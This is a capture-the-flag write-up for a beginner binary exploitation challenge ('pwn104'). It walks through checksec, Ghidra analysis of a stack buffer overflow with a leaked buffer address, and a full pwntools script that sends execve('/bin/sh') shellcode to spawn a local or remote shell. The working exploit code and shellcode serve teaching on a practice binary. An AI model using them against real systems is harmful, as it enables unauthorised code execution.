Beginner level binary exploitation challenges.
Enumeration
We check start with checksec to see what protections we have on the binary:
[*] '/home/syn/ctf/pwn101/4/pwn104.pwn104'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
We don’t have a great deal, there’s only Partial RELRO, other than that the entire binary is vulnerable. Let’s run file to see what type of binary it is:
pwn104.pwn104: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60e0bab59b4e5412a1527ae562f5b8e58928a7cb, for GNU/Linux 3.2.0, not stripped
We see this is a 64 bit dynamically linked ELF binary, it also isn’t stripped. While running strings isn’t super useful, it does give us some ideas of the program flow:
Let’s open this up in ghidra and take a look:
void main(void)
{
undefined local_58 [80];
setup();
banner();
puts(&DAT_00402120);
puts(&DAT_00402148);
puts(&DAT_00402170);
printf("I\'m waiting for you at %p\n",local_58);
read(0,local_58,200);
return;
}
More or less our entire binary is held in main, our exploit is the “read” call which gets stored into an 80 byte buffer called “local_58”. We can check the assembly to see where this sits:
0x004011d1 4883ec50 sub rsp, 0x50
We also have a stack address leaked to us every time we execute the program, since this is the actual address it does change:
if we attempt overflow, we confirm this works too:
What’s worth noting is that only 200 of our characters are read, anything after that is ignored.
Let’s focus on the fact that the stack address changes. It’s very likely that ASLR is enabled on your OS, in short this is the cause for the stack address changing:
https://www.howtogeek.com/278056/what-is-aslr-and-how-does-it-keep-your-computer-secure/
You *can* disable this however realistically, this will always be enabled on the system you’re attacking. ASLR is enabled by default on all modern operating systems so there’s not much point learning with it off.
Scripting
We can’t spawn a shell from our binary directly however since NX is disabled, we can provide bytes that correspond to shell code. Let’s start with our payload, after a very quick search we can find some premade payloads:
https://www.exploit-db.com/shellcodes/46907
The only part we need is the bottom shellcode[] variable:
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
Other than, pretty much just our normal buffer overflow. Let’s code it:
import sys
from pwn import *
def getBufferAddr(p):
x = p.recv()
bufferAddr = int(x.split(b"at")[1].strip().decode("utf-8"),16)
return bufferAddr
def genPayload(bufferAddr):
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload = shellcode + b"A"*(0x50-len(shellcode)) + b"B" * 0x8 + p64(bufferAddr)
return payload
def main():
context.binary = binary = ELF(binPath)
## Local or remote
if local is True:
p = process()
else:
p = remote(ip, port)
payload = genPayload(getBufferAddr(p))
p.sendline(payload)
p.interactive()
## Arg handling
if __name__ == "__main__":
if sys.argv[1].lower() == "remote":
if len(sys.argv) < 4:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
exit()
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
else:
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
binPath = sys.argv[2]
local = True
main()
This works perfectly fine locally however not remotely, let’s check the error:
This is a bit of a weird one, surely the messages should be the same? While they visually might be the same, we need to understand that bytes sent over a network can be interpreted differently after being processed. As seen below, they are literally identical:
So, how do we fix this? Let’s set the debug level in the binary by adding:
context.log_level = "debug"
Under our context declaration and re-run our script:
In our right side column, we see the corresponding text. We see with our one recv call, we’re only getting the first part of the message. Let’s add another one:
import sys
from pwn import *
def getBufferAddr(p):
x = p.recv()
bufferAddr = int(x.split(b"at")[1].strip().decode("utf-8"),16)
return bufferAddr
def genPayload(bufferAddr):
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload = shellcode + b"A"*(0x50-len(shellcode)) + b"B" * 0x8 + p64(bufferAddr)
return payload
def main():
context.binary = binary = ELF(binPath)
## Local or remote
if local is True:
p = process()
else:
p = remote(ip, port)
p.recv()
payload = genPayload(getBufferAddr(p))
p.sendline(payload)
p.interactive()
## Arg handling
if __name__ == "__main__":
if sys.argv[1].lower() == "remote":
if len(sys.argv) < 4:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
exit()
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
else:
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
binPath = sys.argv[2]
local = True
main()
As we can see, we now receive the entire output and get a shell: